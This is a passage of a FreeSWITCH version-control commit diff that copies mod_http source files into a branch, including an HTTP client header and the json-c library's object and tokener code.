+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ * Copyright (C) Benbria. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ *
+ * http_req.h -- HTTP client implementation
+ *
+ */
+
+#ifndef __HTTP_REQ_H__
+#define __HTTP_REQ_H__
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <ctype.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/time.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <signal.h>
+#include <errno.h>
+
+#define ERROR -1
+#define SUCCESS 0
+#define EMPTY_STRING(s) s[0] = '\0'
+
+#define DEFAULT_HTTP_VERSION "1.1"
+#define DEFAULT_HTTP_PORT 80
+
+#define HTTP_GET_METHOD "GET"
+#define HTTP_HEAD_METHOD "HEAD"
+#define HTTP_POST_METHOD "POST"
+#define HTTP_DELETE_METHOD "DELETE"
+#define HTTP_PUT_METHOD "PUT"
+
+#define MAX_PORT_LEN 6
+
+#define RECV_BUFF_SIZE 65536
+
+#define HTTP_TRUE 1
+#define HTTP_FALSE 0
+
+#define INIT_STATE_MACHINE(m) \
+do {\
+    (m)->pos = 0;\
+    (m)->buf = NULL;\
+    (m)->token = SYNTAX_ERROR;\
+    (m)->stop = HTTP_FALSE;\
+    (m)->state = state_start;\
+} while(0)
+
+#define STATUS_CODE_LEN 4
+
+typedef enum tokens {
+	VERSION,
+	STATUS_CODE,
+	PHRASE,
+	HEADER,
+	NEWLINE,
+	SYNTAX_ERROR
+} token_t;
+
+typedef enum accept_states {
+	ASWR,
+	ASNR,
+	NOAS
+} accept_state_t;
+
+typedef struct state_machines {
+	accept_state_t(*state) (char, struct state_machines *);
+	int pos;
+	char *buf;
+	ssize_t buf_len;
+	int stop;
+	token_t token;
+} state_machine_t;
+
+typedef enum http_methods {
+	GET,
+	HEAD,
+	POST,
+	DELETE,
+	PUT
+} http_method_t;
+
+typedef struct http_headers {
+	char *field_name;
+	char *value;
+} http_header_t;
+
+typedef struct http_requests {
+	http_method_t method;
+	char *version;
+	char *url;
+	http_header_t *headers;
+	ssize_t header_len;
+	char *body;
+	ssize_t body_len;
+} http_request_t;
+
+typedef struct http_responses {
+	char *version;
+	int status_code;
+	char *phrase;
+	http_header_t *headers;
+	ssize_t header_len;
+	char *body;
+	int body_len;
+} http_response_t;
+
+token_t get_next_token(state_machine_t * sm);
+int http_parse_response(char *buf, ssize_t buf_len, http_response_t * response);
+int http_req(http_request_t * req, http_response_t * res);
+void free_http_response(http_response_t * response);
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+/*
+ * $Id: json.h,v 1.6 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _json_h_
+#define _json_h_
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include "bits.h"
+#include "debug.h"
+#include "linkhash.h"
+#include "arraylist.h"
+#include "json_util.h"
+#include "json_object.h"
+#include "json_tokener.h"
+
+#ifdef __cplusplus
+}
+#endif
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json_object.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,537 @@
+/*
+ * $Id: json_object.c,v 1.17 2006/07/25 03:24:50 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "debug.h"
+#include "printbuf.h"
+#include "linkhash.h"
+#include "arraylist.h"
+#include "json_object.h"
+#include "json_object_private.h"
+#include "json_tokener.h"
+
+#if !HAVE_STRNDUP
+
+char *strndup(const char *str, size_t n);
+
+#endif /* !HAVE_STRNDUP */
+
+/* #define REFCOUNT_DEBUG 1 */
+
+char *json_number_chars = "0123456789.+-e";
+char *json_hex_chars = "0123456789abcdef";
+
+#ifdef REFCOUNT_DEBUG
+static char *json_type_name[] = {
+	"null",
+	"boolean",
+	"double",
+	"int",
+	"object",
+	"array",
+	"string",
+};
+#endif /* REFCOUNT_DEBUG */
+
+static void json_object_generic_delete(struct json_object *this);
+static struct json_object *json_object_new(enum json_type o_type);
+
+
+/* ref count debugging */
+
+#ifdef REFCOUNT_DEBUG
+
+static struct lh_table *json_object_table;
+
+static void json_object_init() __attribute__ ((constructor));
+static void json_object_init()
+{
+	mc_debug("json_object_init: creating object table\n");
+	json_object_table = lh_kptr_table_new(128, "json_object_table", NULL);
+}
+
+static void json_object_fini() __attribute__ ((destructor));
+static void json_object_fini()
+{
+	struct lh_entry *ent;
+	if (mc_get_debug() && json_object_table->count) {
+		mc_debug("json_object_fini: %d referenced objects at exit\n", json_object_table->count);
+		lh_foreach(json_object_table, ent) {
+			struct json_object *obj = (struct json_object *) ent->v;
+			mc_debug("\t%s:%p\n", json_type_name[obj->o_type], obj);
+		}
+	}
+	mc_debug("json_object_fini: freeing object table\n");
+	lh_table_free(json_object_table);
+}
+#endif /* REFCOUNT_DEBUG */
+
+
+/* string escaping */
+
+static int json_escape_str(struct printbuf *pb, char *str)
+{
+	int pos = 0, start_offset = 0;
+	unsigned char c;
+	do {
+		c = str[pos];
+		switch (c) {
+		case '\0':
+			break;
+		case '\b':
+		case '\n':
+		case '\r':
+		case '\t':
+		case '"':
+		case '\\':
+		case '/':
+			if (pos - start_offset > 0)
+				printbuf_memappend(pb, str + start_offset, pos - start_offset);
+			if (c == '\b')
+				printbuf_memappend(pb, "\\b", 2);
+			else if (c == '\n')
+				printbuf_memappend(pb, "\\n", 2);
+			else if (c == '\r')
+				printbuf_memappend(pb, "\\r", 2);
+			else if (c == '\t')
+				printbuf_memappend(pb, "\\t", 2);
+			else if (c == '"')
+				printbuf_memappend(pb, "\\\"", 2);
+			else if (c == '\\')
+				printbuf_memappend(pb, "\\\\", 2);
+			else if (c == '/')
+				printbuf_memappend(pb, "\\/", 2);
+			start_offset = ++pos;
+			break;
+		default:
+			if (c < ' ') {
+				if (pos - start_offset > 0)
+					printbuf_memappend(pb, str + start_offset, pos - start_offset);
+				sprintbuf(pb, "\\u00%c%c", json_hex_chars[c >> 4], json_hex_chars[c & 0xf]);
+				start_offset = ++pos;
+			} else
+				pos++;
+		}
+	} while (c);
+	if (pos - start_offset > 0)
+		printbuf_memappend(pb, str + start_offset, pos - start_offset);
+	return 0;
+}
+
+
+/* reference counting */
+
+extern struct json_object *json_object_get(struct json_object *this)
+{
+	if (this) {
+		this->_ref_count++;
+	}
+	return this;
+}
+
+extern void json_object_put(struct json_object *this)
+{
+	if (this) {
+		this->_ref_count--;
+		if (!this->_ref_count)
+			this->_delete(this);
+	}
+}
+
+
+/* generic object construction and destruction parts */
+
+static void json_object_generic_delete(struct json_object *this)
+{
+#ifdef REFCOUNT_DEBUG
+	mc_debug("json_object_delete_%s: %p\n", json_type_name[this->o_type], this);
+	lh_table_delete(json_object_table, this);
+#endif /* REFCOUNT_DEBUG */
+	printbuf_free(this->_pb);
+	free(this);
+}
+
+static struct json_object *json_object_new(enum json_type o_type)
+{
+	struct json_object *this = calloc(sizeof(struct json_object), 1);
+	if (!this)
+		return NULL;
+	this->o_type = o_type;
+	this->_ref_count = 1;
+	this->_delete = &json_object_generic_delete;
+#ifdef REFCOUNT_DEBUG
+	lh_table_insert(json_object_table, this, this);
+	mc_debug("json_object_new_%s: %p\n", json_type_name[this->o_type], this);
+#endif /* REFCOUNT_DEBUG */
+	return this;
+}
+
+
+/* type checking functions */
+
+int json_object_is_type(struct json_object *this, enum json_type type)
+{
+	return (this->o_type == type);
+}
+
+enum json_type json_object_get_type(struct json_object *this)
+{
+	return this->o_type;
+}
+
+
+/* json_object_to_json_string */
+
+char *json_object_to_json_string(struct json_object *this)
+{
+	if (!this)
+		return "null";
+	if (!this->_pb) {
+		if (!(this->_pb = printbuf_new()))
+			return NULL;
+	} else {
+		printbuf_reset(this->_pb);
+	}
+	if (this->_to_json_string(this, this->_pb) < 0)
+		return NULL;
+	return this->_pb->buf;
+}
+
+
+/* json_object_object */
+
+static int json_object_object_to_json_string(struct json_object *this, struct printbuf *pb)
+{
+	int i = 0;
+	struct json_object_iter iter;
+	sprintbuf(pb, "{");
+
+	/* CAW: scope operator to make ANSI correctness */
+	/* CAW: switched to json_object_object_foreachC which uses an iterator struct */
+	json_object_object_foreachC(this, iter) {
+		if (i)
+			sprintbuf(pb, ",");
+		sprintbuf(pb, " \"");
+		json_escape_str(pb, iter.key);
+		sprintbuf(pb, "\": ");
+		if (iter.val == NULL)
+			sprintbuf(pb, "null");
+		else
+			iter.val->_to_json_string(iter.val, pb);
+		i++;
+	}
+
+	return sprintbuf(pb, " }");
+}
+
+static void json_object_lh_entry_free(struct lh_entry *ent)
+{
+	free(ent->k);
+	json_object_put((struct json_object *) ent->v);
+}
+
+static void json_object_object_delete(struct json_object *this)
+{
+	lh_table_free(this->o.c_object);
+	json_object_generic_delete(this);
+}
+
+struct json_object *json_object_new_object()
+{
+	struct json_object *this = json_object_new(json_type_object);
+	if (!this)
+		return NULL;
+	this->_delete = &json_object_object_delete;
+	this->_to_json_string = &json_object_object_to_json_string;
+	this->o.c_object = lh_kchar_table_new(JSON_OBJECT_DEF_HASH_ENTIRES, NULL, &json_object_lh_entry_free);
+	return this;
+}
+
+struct lh_table *json_object_get_object(struct json_object *this)
+{
+	if (!this)
+		return NULL;
+	switch (this->o_type) {
+	case json_type_object:
+		return this->o.c_object;
+	default:
+		return NULL;
+	}
+}
+
+void json_object_object_add(struct json_object *this, char *key, struct json_object *val)
+{
+	lh_table_delete(this->o.c_object, key);
+	lh_table_insert(this->o.c_object, strdup(key), val);
+}
+
+struct json_object *json_object_object_get(struct json_object *this, char *key)
+{
+	return (struct json_object *) lh_table_lookup(this->o.c_object, key);
+}
+
+void json_object_object_del(struct json_object *this, char *key)
+{
+	lh_table_delete(this->o.c_object, key);
+}
+
+
+/* json_object_boolean */
+
+static int json_object_boolean_to_json_string(struct json_object *this, struct printbuf *pb)
+{
+	if (this->o.c_boolean)
+		return sprintbuf(pb, "true");
+	else
+		return sprintbuf(pb, "false");
+}
+
+struct json_object *json_object_new_boolean(boolean b)
+{
+	struct json_object *this = json_object_new(json_type_boolean);
+	if (!this)
+		return NULL;
+	this->_to_json_string = &json_object_boolean_to_json_string;
+	this->o.c_boolean = b;
+	return this;
+}
+
+boolean json_object_get_boolean(struct json_object * this)
+{
+	if (!this)
+		return FALSE;
+	switch (this->o_type) {
+	case json_type_boolean:
+		return this->o.c_boolean;
+	case json_type_int:
+		return (this->o.c_int != 0);
+	case json_type_double:
+		return (this->o.c_double != 0);
+	case json_type_string:
+		if (strlen(this->o.c_string))
+			return TRUE;
+	default:
+		return TRUE;
+	}
+}
+
+
+/* json_object_int */
+
+static int json_object_int_to_json_string(struct json_object *this, struct printbuf *pb)
+{
+	return sprintbuf(pb, "%d", this->o.c_int);
+}
+
+struct json_object *json_object_new_int(int i)
+{
+	struct json_object *this = json_object_new(json_type_int);
+	if (!this)
+		return NULL;
+	this->_to_json_string = &json_object_int_to_json_string;
+	this->o.c_int = i;
+	return this;
+}
+
+int json_object_get_int(struct json_object *this)
+{
+	int cint;
+
+	if (!this)
+		return 0;
+	switch (this->o_type) {
+	case json_type_int:
+		return this->o.c_int;
+	case json_type_double:
+		return (int) this->o.c_double;
+	case json_type_boolean:
+		return this->o.c_boolean;
+	case json_type_string:
+		if (sscanf(this->o.c_string, "%d", &cint) == 1)
+			return cint;
+	default:
+		return 0;
+	}
+}
+
+
+/* json_object_double */
+
+static int json_object_double_to_json_string(struct json_object *this, struct printbuf *pb)
+{
+	return sprintbuf(pb, "%lf", this->o.c_double);
+}
+
+struct json_object *json_object_new_double(double d)
+{
+	struct json_object *this = json_object_new(json_type_double);
+	if (!this)
+		return NULL;
+	this->_to_json_string = &json_object_double_to_json_string;
+	this->o.c_double = d;
+	return this;
+}
+
+double json_object_get_double(struct json_object *this)
+{
+	double cdouble;
+
+	if (!this)
+		return 0.0;
+	switch (this->o_type) {
+	case json_type_double:
+		return this->o.c_double;
+	case json_type_int:
+		return this->o.c_int;
+	case json_type_boolean:
+		return this->o.c_boolean;
+	case json_type_string:
+		if (sscanf(this->o.c_string, "%lf", &cdouble) == 1)
+			return cdouble;
+	default:
+		return 0.0;
+	}
+}
+
+
+/* json_object_string */
+
+static int json_object_string_to_json_string(struct json_object *this, struct printbuf *pb)
+{
+	sprintbuf(pb, "\"");
+	json_escape_str(pb, this->o.c_string);
+	sprintbuf(pb, "\"");
+	return 0;
+}
+
+static void json_object_string_delete(struct json_object *this)
+{
+	free(this->o.c_string);
+	json_object_generic_delete(this);
+}
+
+struct json_object *json_object_new_string(char *s)
+{
+	struct json_object *this = json_object_new(json_type_string);
+	if (!this)
+		return NULL;
+	this->_delete = &json_object_string_delete;
+	this->_to_json_string = &json_object_string_to_json_string;
+	this->o.c_string = strdup(s);
+	return this;
+}
+
+struct json_object *json_object_new_string_len(char *s, int len)
+{
+	struct json_object *this = json_object_new(json_type_string);
+	if (!this)
+		return NULL;
+	this->_delete = &json_object_string_delete;
+	this->_to_json_string = &json_object_string_to_json_string;
+	this->o.c_string = strndup(s, len);
+	return this;
+}
+
+char *json_object_get_string(struct json_object *this)
+{
+	if (!this)
+		return NULL;
+	switch (this->o_type) {
+	case json_type_string:
+		return this->o.c_string;
+	default:
+		return json_object_to_json_string(this);
+	}
+}
+
+
+/* json_object_array */
+
+static int json_object_array_to_json_string(struct json_object *this, struct printbuf *pb)
+{
+	int i;
+	sprintbuf(pb, "[");
+	for (i = 0; i < json_object_array_length(this); i++) {
+		struct json_object *val;
+		if (i) {
+			sprintbuf(pb, ", ");
+		} else {
+			sprintbuf(pb, " ");
+		}
+
+		val = json_object_array_get_idx(this, i);
+		if (val == NULL) {
+			sprintbuf(pb, "null");
+		} else {
+			val->_to_json_string(val, pb);
+		}
+	}
+	return sprintbuf(pb, " ]");
+}
+
+static void json_object_array_entry_free(void *data)
+{
+	json_object_put((struct json_object *) data);
+}
+
+static void json_object_array_delete(struct json_object *this)
+{
+	array_list_free(this->o.c_array);
+	json_object_generic_delete(this);
+}
+
+struct json_object *json_object_new_array()
+{
+	struct json_object *this = json_object_new(json_type_array);
+	if (!this)
+		return NULL;
+	this->_delete = &json_object_array_delete;
+	this->_to_json_string = &json_object_array_to_json_string;
+	this->o.c_array = array_list_new(&json_object_array_entry_free);
+	return this;
+}
+
+struct array_list *json_object_get_array(struct json_object *this)
+{
+	if (!this)
+		return NULL;
+	switch (this->o_type) {
+	case json_type_array:
+		return this->o.c_array;
+	default:
+		return NULL;
+	}
+}
+
+int json_object_array_length(struct json_object *this)
+{
+	return array_list_length(this->o.c_array);
+}
+
+int json_object_array_add(struct json_object *this, struct json_object *val)
+{
+	return array_list_add(this->o.c_array, val);
+}
+
+int json_object_array_put_idx(struct json_object *this, int idx, struct json_object *val)
+{
+	return array_list_put_idx(this->o.c_array, idx, val);
+}
+
+struct json_object *json_object_array_get_idx(struct json_object *this, int idx)
+{
+	return (struct json_object *) array_list_get_idx(this->o.c_array, idx);
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json_object.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,303 @@
+/*
+ * $Id: json_object.h,v 1.12 2006/01/30 23:07:57 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _json_object_h_
+#define _json_object_h_
+
+#define JSON_OBJECT_DEF_HASH_ENTIRES 16
+
+#undef FALSE
+#define FALSE ((boolean)0)
+
+#undef TRUE
+#define TRUE ((boolean)1)
+
+extern char *json_number_chars;
+extern char *json_hex_chars;
+
+/* forward structure definitions */
+
+typedef int boolean;
+struct printbuf;
+struct lh_table;
+struct array_list;
+struct json_object;
+struct json_object_iter;
+
+/* supported object types */
+
+enum json_type {
+	json_type_null,
+	json_type_boolean,
+	json_type_double,
+	json_type_int,
+	json_type_object,
+	json_type_array,
+	json_type_string
+};
+
+/* reference counting functions */
+
+/**
+ * Increment the reference count of json_object
+ * @param obj the json_object instance
+ */
+extern struct json_object *json_object_get(struct json_object *obj);
+
+/**
+ * Decrement the reference count of json_object and free if it reaches zero
+ * @param obj the json_object instance
+ */
+extern void json_object_put(struct json_object *obj);
+
+
+/**
+ * Check if the json_object is of a given type
+ * @param obj the json_object instance
+ * @param type one of:
+     json_type_boolean,
+     json_type_double,
+     json_type_int,
+     json_type_object,
+     json_type_array,
+     json_type_string,
+ */
+extern int json_object_is_type(struct json_object *obj, enum json_type type);
+
+/**
+ * Get the type of the json_object
+ * @param obj the json_object instance
+ * @returns type being one of:
+     json_type_boolean,
+     json_type_double,
+     json_type_int,
+     json_type_object,
+     json_type_array,
+     json_type_string,
+ */
+extern enum json_type json_object_get_type(struct json_object *obj);
+
+
+/** Stringify object to json format
+ * @param obj the json_object instance
+ * @returns a string in JSON format
+ */
+extern char *json_object_to_json_string(struct json_object *obj);
+
+
+/* object type methods */
+
+/** Create a new empty object
+ * @returns a json_object of type json_type_object
+ */
+extern struct json_object *json_object_new_object();
+
+/** Get the hashtable of a json_object of type json_type_object
+ * @param obj the json_object instance
+ * @returns a linkhash
+ */
+extern struct lh_table *json_object_get_object(struct json_object *obj);
+
+/** Add an object field to a json_object of type json_type_object
+ *
+ * The reference count will *not* be incremented. This is to make adding
+ * fields to objects in code more compact. If you want to retain a reference
+ * to an added object you must wrap the passed object with json_object_get
+ *
+ * @param obj the json_object instance
+ * @param key the object field name (a private copy will be duplicated)
+ * @param val a json_object or NULL member to associate with the given field
+ */
+extern void json_object_object_add(struct json_object *obj, char *key, struct json_object *val);
+
+/** Get the json_object associate with a given object field
+ * @param obj the json_object instance
+ * @param key the object field name
+ * @returns the json_object associated with the given field name
+ */
+extern struct json_object *json_object_object_get(struct json_object *obj, char *key);
+
+/** Delete the given json_object field
+ *
+ * The reference count will be decremented for the deleted object
+ *
+ * @param obj the json_object instance
+ * @param key the object field name
+ */
+extern void json_object_object_del(struct json_object *obj, char *key);
+
+/** Iterate through all keys and values of an object
+ * @param obj the json_object instance
+ * @param key the local name for the char* key variable defined in the body
+ * @param val the local name for the json_object* object variable defined in the body
+ */
+#if defined(__GNUC__) && !defined(__STRICT_ANSI__)
+
+# define json_object_object_foreach(obj,key,val) \
+ for(entry = json_object_get_object(obj)->head; ({ if(entry) { key = (char*)entry->k; val = (struct json_object*)entry->v; } ; entry; }); entry = entry->next )
+
+#else /* ANSI C or MSC */
+
+# define json_object_object_foreach(obj,key,val) \
+ for(entry = json_object_get_object(obj)->head; (entry ? (key = (char*)entry->k, val = (struct json_object*)entry->v, entry) : 0); entry = entry->next)
+
+#endif /* defined(__GNUC__) && !defined(__STRICT_ANSI__) */
+
+/** Iterate through all keys and values of an object (ANSI C Safe)
+ * @param obj the json_object instance
+ * @param iter the object iterator
+ */
+#define json_object_object_foreachC(obj,iter) \
+ for(iter.entry = json_object_get_object(obj)->head; (iter.entry ? (iter.key = (char*)iter.entry->k, iter.val = (struct json_object*)iter.entry->v, iter.entry) : 0); iter.entry = iter.entry->next)
+
+/* Array type methods */
+
+/** Create a new empty json_object of type json_type_array
+ * @returns a json_object of type json_type_array
+ */
+extern struct json_object *json_object_new_array();
+
+/** Get the arraylist of a json_object of type json_type_array
+ * @param obj the json_object instance
+ * @returns an arraylist
+ */
+extern struct array_list *json_object_get_array(struct json_object *obj);
+
+/** Get the length of a json_object of type json_type_array
+ * @param obj the json_object instance
+ * @returns an int
+ */
+extern int json_object_array_length(struct json_object *obj);
+
+/** Add an element to the end of a json_object of type json_type_array
+ *
+ * The reference count will *not* be incremented. This is to make adding
+ * fields to objects in code more compact. If you want to retain a reference
+ * to an added object you must wrap the passed object with json_object_get
+ *
+ * @param obj the json_object instance
+ * @param val the json_object to be added
+ */
+extern int json_object_array_add(struct json_object *obj, struct json_object *val);
+
+/** Insert or replace an element at a specified index in an array (a json_object of type json_type_array)
+ *
+ * The reference count will *not* be incremented. This is to make adding
+ * fields to objects in code more compact. If you want to retain a reference
+ * to an added object you must wrap the passed object with json_object_get
+ *
+ * The reference count of a replaced object will be decremented.
+ *
+ * The array size will be automatically be expanded to the size of the
+ * index if the index is larger than the current size.
+ *
+ * @param obj the json_object instance
+ * @param idx the index to insert the element at
+ * @param val the json_object to be added
+ */
+extern int json_object_array_put_idx(struct json_object *obj, int idx, struct json_object *val);
+
+/** Get the element at specificed index of the array (a json_object of type json_type_array)
+ * @param obj the json_object instance
+ * @param idx the index to get the element at
+ * @returns the json_object at the specified index (or NULL)
+ */
+extern struct json_object *json_object_array_get_idx(struct json_object *obj, int idx);
+
+/* boolean type methods */
+
+/** Create a new empty json_object of type json_type_boolean
+ * @param b a boolean TRUE or FALSE (0 or 1)
+ * @returns a json_object of type json_type_boolean
+ */
+extern struct json_object *json_object_new_boolean(boolean b);
+
+/** Get the boolean value of a json_object
+ *
+ * The type is coerced to a boolean if the passed object is not a boolean.
+ * integer and double objects will return FALSE if there value is zero
+ * or TRUE otherwise. If the passed object is a string it will return
+ * TRUE if it has a non zero length. If any other object type is passed
+ * TRUE will be returned if the object is not NULL.
+ *
+ * @param obj the json_object instance
+ * @returns a boolean
+ */
+extern boolean json_object_get_boolean(struct json_object *obj);
+
+
+/* int type methods */
+
+/** Create a new empty json_object of type json_type_int
+ * @param i the integer
+ * @returns a json_object of type json_type_int
+ */
+extern struct json_object *json_object_new_int(int i);
+
+/** Get the int value of a json_object
+ *
+ * The type is coerced to a int if the passed object is not a int.
+ * double objects will return their integer conversion. Strings will be
+ * parsed as an integer. If no conversion exists then 0 is returned.
+ *
+ * @param obj the json_object instance
+ * @returns an int
+ */
+extern int json_object_get_int(struct json_object *obj);
+
+
+/* double type methods */
+
+/** Create a new empty json_object of type json_type_double
+ * @param d the double
+ * @returns a json_object of type json_type_double
+ */
+extern struct json_object *json_object_new_double(double d);
+
+/** Get the double value of a json_object
+ *
+ * The type is coerced to a double if the passed object is not a double.
+ * integer objects will return their dboule conversion. Strings will be
+ * parsed as a double. If no conversion exists then 0.0 is returned.
+ *
+ * @param obj the json_object instance
+ * @returns an double
+ */
+extern double json_object_get_double(struct json_object *obj);
+
+
+/* string type methods */
+
+/** Create a new empty json_object of type json_type_string
+ *
+ * A copy of the string is made and the memory is managed by the json_object
+ *
+ * @param s the string
+ * @returns a json_object of type json_type_string
+ */
+extern struct json_object *json_object_new_string(char *s);
+
+extern struct json_object *json_object_new_string_len(char *s, int len);
+
+/** Get the string value of a json_object
+ *
+ * If the passed object is not of type json_type_string then the JSON
+ * representation of the object is returned.
+ *
+ * The returned string memory is managed by the json_object and will
+ * be freed when the reference count of the json_object drops to zero.
+ *
+ * @param obj the json_object instance
+ * @returns a string
+ */
+extern char *json_object_get_string(struct json_object *obj);
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object_private.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object_private.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json_object_private.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object_private.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json_object_private.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+/*
+ * $Id: json_object_private.h,v 1.4 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _json_object_private_h_
+#define _json_object_private_h_
+
+typedef void (json_object_delete_fn) (struct json_object * o);
+typedef int (json_object_to_json_string_fn) (struct json_object * o, struct printbuf * pb);
+
+struct json_object {
+	enum json_type o_type;
+	json_object_delete_fn *_delete;
+	json_object_to_json_string_fn *_to_json_string;
+	int _ref_count;
+	struct printbuf *_pb;
+	union data {
+		boolean c_boolean;
+		double c_double;
+		int c_int;
+		struct lh_table *c_object;
+		struct array_list *c_array;
+		char *c_string;
+	} o;
+};
+
+/* CAW: added for ANSI C iteration correctness */
+struct json_object_iter {
+	char *key;
+	struct json_object *val;
+	struct lh_entry *entry;
+};
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json_tokener.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,522 @@
+/*
+ * $Id: json_tokener.c,v 1.20 2006/07/25 03:24:50 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <ctype.h>
+#include <string.h>
+
+#include "bits.h"
+#include "debug.h"
+#include "printbuf.h"
+#include "arraylist.h"
+#include "json_object.h"
+#include "json_tokener.h"
+
+
+#if !HAVE_STRNCASECMP && defined(_MSC_VER)
+  /* MSC has the version as _strnicmp */
+# define strncasecmp _strnicmp
+#elif !HAVE_STRNCASECMP
+# error You do not have strncasecmp on your system.
+#endif /* HAVE_STRNCASECMP */
+
+
+static const char *json_null_str = "null";
+static const char *json_true_str = "true";
+static const char *json_false_str = "false";
+
+const char *json_tokener_errors[] = {
+	"success",
+	"continue",
+	"nesting to deep",
+	"unexpected end of data",
+	"unexpected character",
+	"null expected",
+	"boolean expected",
+	"number expected",
+	"array value separator ',' expected",
+	"quoted object property name expected",
+	"object property name separator ':' expected",
+	"object value separator ',' expected",
+	"invalid string sequence",
+	"expected comment",
+};
+
+
+struct json_tokener *json_tokener_new()
+{
+	struct json_tokener *tok = calloc(1, sizeof(struct json_tokener));
+	tok->pb = printbuf_new();
+	json_tokener_reset(tok);
+	return tok;
+}
+
+void json_tokener_free(struct json_tokener *tok)
+{
+	json_tokener_reset(tok);
+	if (tok)
+		printbuf_free(tok->pb);
+	free(tok);
+}
+
+static void json_tokener_reset_level(struct json_tokener *tok, int depth)
+{
+	tok->stack[depth].state = json_tokener_state_eatws;
+	tok->stack[depth].saved_state = json_tokener_state_start;
+	json_object_put(tok->stack[depth].current);
+	tok->stack[depth].current = NULL;
+	free(tok->stack[depth].obj_field_name);
+	tok->stack[depth].obj_field_name = NULL;
+}
+
+void json_tokener_reset(struct json_tokener *tok)
+{
+	int i;
+	for (i = tok->depth; i >= 0; i--)
+		json_tokener_reset_level(tok, i);
+	tok->depth = 0;
+	tok->err = json_tokener_success;
+}
+
+struct json_object *json_tokener_parse(char *str)
+{
+	struct json_tokener *tok;
+	struct json_object *obj;
+
+	tok = json_tokener_new();
+	obj = json_tokener_parse_ex(tok, str, -1);
+	if (tok->err != json_tokener_success)
+		obj = error_ptr(-tok->err);
+	json_tokener_free(tok);
+	return obj;
+}
+
+
+#if !HAVE_STRNDUP
+/* CAW: compliant version of strndup() */
+char *strndup(const char *str, size_t n)
+{
+	if (str) {
+		size_t len = strlen(str);
+		size_t nn = min(len, n);
+		char *s = (char *) malloc(sizeof(char) * (nn + 1));
+
+		if (s) {
+			memcpy(s, str, nn);
+			s[nn] = '\0';
+		}
+
+		return s;
+	}
+
+	return NULL;
+}
+#endif
+
+
